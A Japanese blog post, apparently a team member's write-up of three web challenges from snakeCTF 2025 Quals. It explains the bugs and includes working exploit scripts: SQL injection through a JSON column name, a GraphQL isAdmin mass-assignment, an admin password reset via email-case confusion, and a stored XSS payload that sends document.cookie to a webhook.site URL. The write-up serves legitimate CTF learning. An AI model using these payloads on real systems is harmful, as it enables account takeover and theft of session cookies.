st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

snakeCTF 2025 Quals writeup

8/30 - 8/31という日程で開催された。BunkyoWesternsで参加して2位。1位のTRXは最初「神田エンジニアズ」というチーム名で参加しており、ラックやCDIあたりが超頑張っているのか、把握していない企業チームが頑張っているのか、いずれにしても日本チームだろうと思っていてビビっていた。上位15チームはイタリアはLignano Sabbiadoro*1で開催される決勝大会に参加できるらしい。行きたいね。


[Web 50] ExploitMe (47 solves)

Finally! The dating app specifically designed for people who think "getting a shell" is more exciting than getting a phone number.

添付ファイル: exploitme.zip

ハッカー同士のマッチングアプリらしい。

まずフラグの場所を確認したい。チャット機能があるらしく、1 というIDを持つユーザと、2 というIDのユーザとの間のメッセージにフラグが含まれているとわかる。これを抜き出したい。

INSERT INTO messages (match_id, sender_id, content) VALUES (4, 1, 'ok, so at ${flag} then?');

コードがやたらと多くて読むのが面倒だったけれども、眺めていると、プロフィールの更新ができる /api/edit に自明なSQLiが見つかる。カラム名でのSQLiで、editProfileSchema.validate (yupが使われていた)の検証により弾かれそうに思うが、実際にコードを動かして試したところ、こいつは余計なプロパティが含まれていても何も言わない。

    try {
      validated = await editProfileSchema.validate(req.body, { abortEarly: false });
    } catch (validationError) {
      return res.status(400).json({ message: validationError.errors.join(', ') });
    }

    const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
    const values = Object.values(validated);

    const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;
    values.push(userId);

    const result = await db.run(updateQuery, ...values);

ということで、次のようなexploitでフラグが得られた。

import uuid
import httpx

u, p = str(uuid.uuid4()), str(uuid.uuid4())
with httpx.Client(base_url='https://(省略)') as client:
    token = client.post('/api/register', json={
        'username': u,
        'password': p,
        'email': f'{uuid.uuid4()}@example.com'
    }).json()['token']

    r = client.post('/api/onboarding', headers={
        'Authorization': f'Bearer {token}'
    }, json={
        'role': 'WHITE_HAT',
        'looking_for': 'WHITE_HAT',
        'age': 100,
        'likes': [],
        'dislikes': [],
        'bio': 'nya',
        'location': 'nyaaaaa',
        'hacks': [],
        'favorite_hacker': 'Masato Kinugawa',
        'favorite_song': 'SHINING LINE*',
        'favorite_movie': 'Heat',
        'touches_grass': False,
        'yt_embed': 'https://www.youtube.com/embed/7XFBC2bym14'
    })
    print(r.text)

    r = client.post('/api/edit', headers={
        'Authorization': f'Bearer {token}',
    }, json={
        'yt_embed': 'https://www.youtube.com/embed/DLy45SgOOZY',
        'yt_embed" = ?, favorite_hacker = (select content from messages where content like "%{%") WHERE id = ? OR 1 = 1; -- ': ''
    })
    print(r.text)

    r = client.get(f'/api/users/{u}', headers={
        'Authorization': f'Bearer {token}',
    }).json()['user']['favorite_hacker']
    print(r)
snakeCTF{d03s_1s_1nL0v3_w0rks_855f35782a9d7201}

[Web 50] Boxbin (41 solves)

🎵 You're on Boxbin, you're on Boxbin... 🎵 Welcome to Boxbin, the totally-not-suspicious platform for sharing your hatred against any kind of box!

なんとブラックボックス。コードが付いていないことに気づいた瞬間にキレそうになった。さて、instancerからサーバを立ち上げてアクセスすると、Pastebin的なアプリが表示された。admin というユーザがいたり、プライベートなメモを作成できたりするということで、admin を乗っ取るなりなんなりしろということなのだろうと察する。

どうやらGraphQLが使われているようだったので、適当なペイロードでスキーマを抜き出す。フロントエンドではユーザのアップグレードは未実装と言ってはいるが、purchaseUpgradeadminUserUpgrade というmutationがあったり、ユーザに isAdmin のようなフィールドが存在していることがわかったり、大変興味深い。

Mutationを片っ端から呼んでいると、次のように adminUserUpgrade で様々なアップデートを施すことができるとわかった。

$ curl 'https://(省略)/api/graphql' \
  -H 'authorization: …' \
  -H 'content-type: application/json' \
  --data-raw $'{"operationName":"AdminUserUpgrade","variables":{"upgradeId":1},"query":"mutation AdminUserUpgrade($upgradeId: ID\u0021) {\\n  adminUserUpgrade(upgradeId: $upgradeId) { id } \\n}"}'
{"data":{"adminUserUpgrade":{"id":"10"}}}

気づくと、最初は不可能だった設定の変更ができるようになっていることに気づく。本来は {"settings":"{\"postsPerPage\":10}"} のように大したことのない設定を変更する機能なのだろうけれども、以下のように強引に isAdmin を含めてやると、なんとこれが通った。

$ curl 'https://(省略)/api/graphql' \
  -H 'authorization: …' \
  -H 'content-type: application/json' \
  --data-raw $'{"operationName":"UpdateSettings","variables":{"settings":"{\\"isAdmin\\":true}"},"query":"mutation UpdateSettings($settings: String\u0021) {\\n  updateSettings(settings: $settings)\\n}"}'

これで /admin という管理者用のページにもアクセスできるようになった。ここからはユーザのグループも変更できるようになっており、自分自身を admin と同じグループに所属させることもできた。この状態で admin のユーザページを見に行くと、admin のプライベートなポストも閲覧できるようになっていた。このポストにフラグが含まれていた。

snakeCTF{y0ur3_0n_b0xb1n_n0w_134b8a2fb551afa7}

[Web 247] SPAM (30 solves)

The Italian government's latest digital authentication masterpiece. Built by the lowest bidder with the highest confidence. What could go wrong?

添付ファイル: spam.zip

まず docker-compose.yml を見ていきたいけれども、なんとこれだけで100行近くある。サービスの数だけを見ても7つあり、どこから見ていけばよいのやらという感じ。

$ yq '.services | keys' ./docker-compose.yml
[
  "agenzia-uscite",
  "asp",
  "bot",
  "dsw",
  "inbs",
  "next-app",
  "test"
]

困りながらも全部読んだ。大まかに以下の3つに分けられる:

  • IdP: next-app。こいつが一番重要かつコード量が多い
  • RP: test, inbs, agenzia-uscite, asp, dsw の5つ。コードはほとんどが同一だけれども、test だけは少し違う
  • XSS bot: bot。こいつは next-app を通じて呼び出す必要がある

フラグを持っているのはXSS bot。コードが長いので一部だけ載せている。このbotは next-app からの要請によって、先程「RP」と説明したサービスのいずれかを見に行くようになっている。userId0 であるユーザとしてIdPにログインした上で、指定されたサービスのドメインを対象に以下のCookieを発行し、それからそのサービスにログインしている。それ以上のことはしないので、いずれかのRPでXSSに持ち込む必要がある。

        await page.setCookie({
            "name": "flag",
            "value": process.env.FLAG || "snakeCTF{f4ke_fl4g_f0r_t3st1ng}",
            "domain": new URL(services[serviceId]).hostname,
        });

コードが複雑すぎて紹介するのがあまりに面倒くさい。次は重要なIdPを見ていこう。こいつは /api/actions というAPIを持っており、ユーザ情報を更新したり、先程のbotを呼び出したりできるようになっている。

しかしながら、ユーザのグループが User である場合には呼び出せないようになっている。IdPでは誰でも新規登録ができるようになっているのだけれども、普通は User 以外のグループに入ることはできないようになっている。ということで、なんとかして /api/actions を呼び出せるようにするのが第一歩なのだなあと思う。

export default async function handler(req, res) {
    if (req.method !== "POST") {
        res.setHeader("Allow", ["POST"]);
        return res.status(405).end(`Method ${req.method} Not Allowed`);
    }

    const userData = await authRequired(req, res);
    if (!userData) return;

    if (userData.groupName == "User") {
        return res.status(403).json({ error: "You do not have permission to perform this action" });
    }
// …

どうやって /api/actions を呼び出せるようにするかというところで、ユーザの権限の書き換えやユーザの乗っ取りといった方法があるなあと考える。前者はユーザの情報を書き換えられそうな箇所がまさに /api/actions ぐらいしか思いつかず、堂々巡りになってしまう。ということで後者だけれども、admin@spam.gov.it というユーザが Admin という、User の次に強いグループに入っていることがわかる(また、userId からbotが使うユーザだとわかる)。

パスワード欄が空欄になっており、空のパスワードでログインできるのではないかと思うが、そう簡単にはいかない。まずログイン時に入力されたパスワードが空文字列でないかチェクされているし、そもそもここに入っているのは bcrypt でハッシュ化されたパスワードだし、比較に使われている bcrypt.compare は、ハッシュ側が空文字列であった場合にはまず false になる。

-- Insert groups
INSERT OR IGNORE INTO Groups (id, name) VALUES (0, 'System');
INSERT OR IGNORE INTO Groups (id, name) VALUES (1, 'Super Admin');
INSERT OR IGNORE INTO Groups (id, name) VALUES (2, 'Admin');
INSERT OR IGNORE INTO Groups (id, name) VALUES (3, 'User');

-- Insert admin user
INSERT OR IGNORE INTO Users (id, email, password, firstName, lastName, groupId)
VALUES (0, 'admin@spam.gov.it', '', 'Admin', 'User', 2);

実はこのアプリにはパスワードリセット機能がある。ログイン前にメールアドレスをそれ専用のフォームから入力すると、パスワードリセットのためのリンクが生成される…のだけれども、妙な実装になっており、そのリンクは、対応するユーザがログインした状態でダッシュボードからアクセスできるようになっている。「セッションは持ってるけどパスワードは忘れちゃった」という状況なら助かるだろうけど、パスワードリセットっていうのはパスワードを忘れてログインできないから使うものだろう。

というのはどうでもよくて、パスワードリセットは次のような実装になっている。POST でメールアドレスを投げてパスワードリセットのリンクが発行され、そこから PATCH でまたこいつが呼び出されてパスワードがリセットされるという流れだ。

大文字・小文字の取り扱いでなんかミスってないかなと思い、試しに admin@spam.gov.iT でユーザ登録をしてみる。これだけではadminとしてログインできなかったが、今登録したメールアドレスでパスワードリセットをかけてみたところ、なんとadminの方のパスワードがリセットできてしまった。なぜ動くかは今のところ理解できていないので、理解できたら追記する。

  if (req.method === "POST") {
    const { email } = req.body;
    if (!email) {
      return res.status(400).json({ error: "Email is required" });
    }

    const user = await getUserFromEmail(db, email);
    if (!user) {
      return res.status(200).json({ message: "If the user exists, a password reset link will be shown on their dashboard." });
    }

    const token = crypto.randomBytes(32).toString("hex");
    const expiresAt = new Date(Date.now() + 3600000);
    await db.run(
      "INSERT INTO PasswordResetTokens (userId, token, expiresAt, used) VALUES (?, ?, ?, ?)",
      user.id,
      token,
      expiresAt,
      false
    );

    return res.status(200).json({ message: "If the user exists, a password reset link will be shown on their dashboard." });
  } else if (req.method === "PATCH") {
    const { token, newPassword } = req.body;
    if (!token || !newPassword) {
      return res.status(400).json({ error: "Token and new password are required" });
    }

    const tokenData = db.get("SELECT * FROM PasswordResetTokens WHERE token = ?", token);

    if (!tokenData) {
      return res.status(400).json({ error: "Invalid or expired token" });
    }
    const tokenUser = await getUserFromId(db, tokenData.userId);

    if (!tokenUser) {
      return res.status(400).json({ error: "Invalid user for the provided token" });
    }

    if (tokenData.used) {
      return res.status(400).json({ error: "This token has already been used" });
    }

    const now = new Date();
    if (new Date(tokenData.expiresAt) < now) {
      return res.status(400).json({ error: "This token has expired" });
    }
    
    if (!validatePassword(newPassword)) {
      return res.status(400).json({ error: "Password must be at least 8 characters long and contain at least one number and one special character and one capital letter" });
    }

    const hashedPassword = await bcrypt.hash(newPassword, 10);

    await db.run("UPDATE Users SET password = ? WHERE id = ?", hashedPassword, tokenUser.id);
    await db.run("UPDATE PasswordResetTokens SET used = ? WHERE token = ?", true, token);

    return res.status(200).json({ message: "Password has been successfully reset." });
  }

さて、これでadminのユーザを乗っ取れたということで、/api/actions を呼び出せるようになった。実行できるアクションの中には assignGroup というものもあり、ここでなぜか自分が今持っている以上の権限を持つグループであっても、ユーザを入れることができる。これは自分自身も含むので、System レベルまで権限昇格ができた。

    "assignGroup": {
        name: "Assign Group",
        description: "Assign a user to a group",
        params: {
            userId: {
                name: "User ID",
                type: "number",
                required: true,
                description: "ID of the user to assign"
            },
            groupId: {
                name: "Group ID",
                type: "number",
                required: true,
                description: "ID of the group to assign the user to"
            }
        },
        execute: async (db, params) => {
            const { userId, groupId } = params;
            if (typeof userId !== "number" || typeof groupId !== "number") {
                throw new Error("User ID and Group ID are required");
            }

            const group = await db.get("SELECT * FROM Groups WHERE id = ?", groupId);
            if (!group) {
                throw new Error("Group not found");
            }

            await db.run("UPDATE Users SET groupId = ? WHERE id = ?", groupId, userId);
            return { success: true, message: "User assigned to group successfully" };
        }
    },

これで大体なんでもできるようになった。あとはいかにXSSに持ち込むかだけれども、adminのユーザの情報を書き換えればよさそう。ただ、以下の updateUser というそれっぽいアクションについては、sanitizeInput によってHTMLが無効化されてしまう…以前の問題で、なぜか sanitizeInputimport していないのでエラーが発生してしまう。別の方法を探す必要がある。

        execute: async (db, params) => {
            const { userId, email, firstName, lastName } = params;
            if (typeof userId !== "number") {
                throw new Error("User ID is required");
            }
            const updates = [];
            const values = [];
            if (email) {
                updates.push("email = ?");
                values.push(sanitizeInput(email));
            }
            if (firstName) {
                updates.push("firstName = ?");
                values.push(sanitizeInput(firstName));
            }
            if (lastName) {
                updates.push("lastName = ?");
                values.push(sanitizeInput(lastName));
            }
            if (updates.length === 0) {
                throw new Error("No fields to update");
            }
            values.push(userId);
            await db.run(`UPDATE Users SET ${updates.join(", ")} WHERE id = ?`, ...values);
            return { success: true, message: "User updated successfully" };
        },

/api/internal/sync という別のAPIがあり、こちらであればユーザの情報を更新できる。System 権限が必要だが、先程すでに権限昇格できているので問題なく呼び出せる。

export default async function handler(req, res) {
    await runMiddleware(req, res, cors);

    if (req.method !== "POST") {
        res.setHeader("Allow", ["POST"]);
        return res.status(405).end(`Method ${req.method} Not Allowed`);
    }

    const userData = await authRequired(req, res, true, req.query.id);
    if (!userData) return;

    if (userData.groupName !== "System") {
        return res.status(403).json({ error: "You do not have permission to perform this action" });
    }

    const {
        firstName,
        lastName,
        email,
    } = req.body;

    const db = await openDb();
    let query = "UPDATE users";
    if (firstName || lastName || email) {
        query += " SET";
        const updates = [];
        if (firstName) updates.push(` firstName = ?`);
        if (lastName) updates.push(` lastName = ?`);
        if (email) updates.push(` email = ?`);
        query += updates.join(",");
        query += " WHERE id = ?";
    }

    const params = [];
    if (firstName) params.push(firstName);
    if (lastName) params.push(lastName);
    if (email) params.push(email);
    params.push(userData.userId);

    try {
        const result = await db.run(query, params);
        if (result.changes > 0) {
            return res.status(200).json({ message: "User data updated successfully" });
        } else {
            return res.status(400).json({ error: "No changes made or user not found" });
        }
    } catch (error) {
        console.error("Database error:", error);
        return res.status(500).json({ error: "Internal server error" });
    }
}

あとはいかにXSSをするか。test に自明XSSがあるので、ユーザの名前等にペイロードを仕込んで踏ませてやればよい。ということで、ここまでのすべてをまとめたexploitが次の通り。

import re
import httpx
TARGET = 'http://localhost:3000/'

EMAIL = 'ADMIn@Spam.gov.it'
PASSWORD = 'aA2$aA2$aA2$aA2$'
with httpx.Client(base_url=TARGET) as client:
    # case-insensitiveとcase-sensitiveが入り混じっているのを利用して、
    # いい感じにadminのパスワードをリセットしていく
    r = client.post('/api/auth/signup', json={
        'name': 'a',
        'surname': 'a',
        'email': EMAIL,
        'password': PASSWORD
    })
    token = r.text
    print(token)

    # ここでadminのパスワードリセット要求が飛ぶ
    r = client.post('/api/auth/forgot', json={
        'email': EMAIL
    })
    print(r.text)

    # しかし、大文字小文字ごちゃごちゃくんからもリセットのトークンが見れる
    r = client.get('/dashboard', cookies={
        'token': token
    })
    reset_token = re.findall(r'"passwordResetToken":"([0-9a-f]+)"', r.text)[0]
    print(reset_token)

    # ということで、adminのパスワードをリセット
    r = client.patch('/api/auth/forgot', cookies={
        'token': token
    }, json={
        'newPassword': PASSWORD,
        'token': reset_token
    })
    print(r.text)

    r = client.post('/api/auth/signin', json={
        'email': 'admin@spam.gov.it',
        'password': PASSWORD
    })
    token = r.text

    # assignGroupはなぜか自分より上の権限でも付与できるので、privesc
    client.post('/api/actions', headers={
        'Authorization': f'Bearer {token}'
    }, json={
        'action': 'assignGroup',
        'params': {
            'userId': 0,
            'groupId': 0
        }
    })
    print(r.text)

    # callbackでもらえるトークンを生成
    r = client.get('/authorize?serviceId=0', cookies={
        'token': token
    })
    callback_token = re.findall(r'"token":"([^"]+)"', r.text)[0]
    print(callback_token)
    
    # これでsanitizeをバイパスしつつプロフィールを更新
    r = client.post('/api/internal/sync?id=0', headers={
        'Authorization': f'Bearer {callback_token}'
    }, json={
        'email': 'admin@spam.gov.it',
        'firstName': '<script>navigator.sendBeacon(`https://webhook.site/(省略)`, document.cookie)</script>',
        'lastName': 'neko'
    })
    print(r.text)

    # XSSを踏んでね
    client.post('/api/actions', headers={
        'Authorization': f'Bearer {token}'
    }, json={
        'action': 'healthCheck',
        'params': {
            'platform': 0
        }
    })

実行するとフラグが得られた。

snakeCTF{42m_3ur0s_w3ll_sp3nt_0n_s3cur1ty_014d6ff1ab96b571}

結構面倒くさい問題だけれども、30 solvesが出ていてすごい。

*1:どこ?